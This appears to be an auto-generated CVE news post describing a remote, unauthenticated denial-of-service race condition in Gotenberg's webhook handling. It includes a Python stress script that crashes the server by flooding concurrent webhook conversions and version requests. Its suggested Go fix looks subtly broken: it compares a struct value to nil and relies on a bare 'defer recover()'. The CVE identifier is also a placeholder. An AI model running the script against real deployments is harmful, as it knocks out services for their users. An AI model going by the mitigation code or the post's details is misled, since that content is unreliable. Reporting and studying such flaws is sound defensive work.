Gotenberg, Webhook Async Context Use-After-Free, CVE-2024-XXXX (critical)

Listen to this Post

The vulnerability arises from unsafe reuse of `echo.Context` across goroutines. When a webhook request arrives, the `webhookMiddleware` spawns a background goroutine that keeps a reference to the request’s `echo.Context` and then immediately returns api.ErrAsyncProcess. The Echo framework sees this sentinel, replies with 204 No Content, and returns the `echo.Context` to its internal sync.Pool. Before serving another request, Echo calls c.Reset(), which clears the context’s internal `store` (including values like "logger"). If another concurrent request acquires the same recycled context from the pool, and the original webhook goroutine simultaneously executes into hardTimeoutMiddleware, that middleware executes c.Get("logger").(slog.Logger). Because `c.Get(“logger”)` returns `nil` after Reset(), the type assertion `nil.(slog.Logger)` panics. The panic occurs outside any `recover()` scope (no `echo.Recover` middleware is registered, and the goroutine lacks a top-level recover). Consequently the Go runtime terminates the entire Gotenberg process with exit code 2. A single attacker can trigger the race by sending ~24 concurrent webhook conversions and ~60 `GET /version` requests, crashing the service in ~2 seconds. The default `webhook-deny-list` only blocks malicious webhook destinations, not the request submitter, so any unauthenticated client with access to port 3000 can exploit this.

dailycve form:

Platform: Gotenberg
Version: 8.x (before fix)
Vulnerability: Async context use-after-free
Severity: Critical
date: 2024-07-22

Prediction: Patch within 48h

What Undercode Say:

Simulate the race condition
docker run -d --name gotenberg-poc -p 3000:3000 \
-e GOTRACEBACK=all gotenberg/gotenberg:8 gotenberg --log-level=error
Python stress script (truncated)
import threading, requests
TARGET = "http://localhost:3000"
WEBHOOK = "http://httpbin.org/post"
html = b"<html><body>

<h1>Q</h1>

</body></html>"
def webhook():
while True:
requests.post(f"{TARGET}/forms/chromium/convert/html",
files={"files": ("index.html", html)},
headers={"Gotenberg-Webhook-Url": WEBHOOK})
def noise():
while True:
requests.get(f"{TARGET}/version")
for _ in range(24): threading.Thread(target=webhook).start()
for _ in range(60): threading.Thread(target=noise).start()

Exploit:

Attacker sends high-rate mixed requests: webhook conversions + GET /version. Recycled `echo.Context` with cleared store causes nil pointer dereference in hardTimeoutMiddleware. Process crashes without recovery.

Protection from this CVE:

Upgrade to patched version (v8.1.0+). If unavailable, apply guarded type assertion:

logger, _ := c.Get("logger").(slog.Logger)
if logger == nil {
return errors.New("context reused")
}

Add `defer recover()` at webhook goroutine top. Disable webhook endpoint if not needed.

Impact:

Remote unauthenticated DoS. Each crash drops all in-flight conversions, abandons webhook deliveries, and resets state. Under sustained attack, auto-restart loops cause continuous unavailability.

🎯Let’s Practice Exploiting & Learn Patching For Free:

Sources:

Reported By: github.com
Extra Source Hub:
Undercode

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow DailyCVE & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin Featured Image

Scroll to Top